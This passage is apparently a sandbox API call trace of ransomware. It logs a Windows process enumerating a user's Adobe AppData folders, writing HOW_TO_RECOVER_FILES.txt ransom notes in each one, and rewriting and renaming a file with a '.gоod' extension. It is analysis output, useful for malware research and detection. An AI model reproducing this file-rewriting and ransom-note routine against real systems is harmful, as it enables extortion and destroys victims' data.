ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0227.461] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0227.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0227.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0227.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0227.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5", lpFilePart=0x0) returned 0x46 [0227.461] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0227.462] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.462] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe538be0f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0227.462] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0227.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0227.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0227.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0227.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0227.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\assetcache\\g7zd37y5\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.463] GetFileType (hFile=0x860) returned 0x1 [0227.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0227.463] GetFileType (hFile=0x860) returned 0x1 [0227.464] WriteFile (in: hFile=0x860, lpBuffer=0x37c67b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x37c67b8*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.465] CloseHandle (hObject=0x860) returned 1 [0227.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0227.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0227.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\assetcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.465] GetFileType (hFile=0x860) returned 0x1 [0227.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0227.465] GetFileType (hFile=0x860) returned 0x1 [0227.466] WriteFile (in: hFile=0x860, lpBuffer=0x37ca060*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37ca060*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.467] CloseHandle (hObject=0x860) returned 1 [0227.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0227.467] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0227.467] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0227.467] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.467] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0227.468] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.468] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0227.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0227.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0227.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0227.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache", lpFilePart=0x0) returned 0x3e [0227.468] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0227.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.468] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0227.469] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0227.469] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0227.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0227.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0227.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", lpFilePart=0x0) returned 0x54 [0227.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0227.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), fInfoLevelId=0x0, lpFileInformation=0x37da8a8 | out: lpFileInformation=0x37da8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0227.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", lpFilePart=0x0) returned 0x54 [0227.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0227.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0227.470] GetFileType (hFile=0x860) returned 0x1 [0227.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0227.470] GetFileType (hFile=0x860) returned 0x1 [0227.470] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x0 [0227.470] CloseHandle (hObject=0x860) returned 1 [0228.545] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", lpFilePart=0x0) returned 0x54 [0228.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0228.545] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.545] GetFileType (hFile=0x828) returned 0x1 [0228.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0228.545] GetFileType (hFile=0x828) returned 0x1 [0228.546] WriteFile (in: hFile=0x828, lpBuffer=0x3698648*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec208, lpOverlapped=0x0 | out: lpBuffer=0x3698648*, lpNumberOfBytesWritten=0x204ec208*=0x10, lpOverlapped=0x0) returned 1 [0228.546] CloseHandle (hObject=0x828) returned 1 [0228.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory", lpFilePart=0x0) returned 0x54 [0228.547] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory.gоod", lpFilePart=0x0) returned 0x59 [0228.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0228.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x84707991, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0228.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0228.547] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\nativecache.directory.gоod")) returned 1 [0228.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x57 [0228.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0228.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\nativecache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0228.549] GetFileType (hFile=0x828) returned 0x1 [0228.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0228.549] GetFileType (hFile=0x828) returned 0x1 [0228.550] WriteFile (in: hFile=0x828, lpBuffer=0x369bd48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x369bd48*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0228.551] CloseHandle (hObject=0x828) returned 1 [0228.551] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0228.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0228.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\flash player\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0228.553] GetFileType (hFile=0x828) returned 0x1 [0228.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0228.553] GetFileType (hFile=0x828) returned 0x1 [0228.554] WriteFile (in: hFile=0x828, lpBuffer=0x369f780*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x369f780*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0228.554] CloseHandle (hObject=0x828) returned 1 [0228.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0228.555] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0228.556] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.556] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0228.556] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0228.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x30 [0228.556] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0228.556] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.557] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0228.557] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0228.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.557] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0228.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0228.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\headlights\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0228.558] GetFileType (hFile=0x828) returned 0x1 [0228.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0228.558] GetFileType (hFile=0x828) returned 0x1 [0228.558] WriteFile (in: hFile=0x828, lpBuffer=0x36b0750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x36b0750*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0228.559] CloseHandle (hObject=0x828) returned 1 [0228.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", 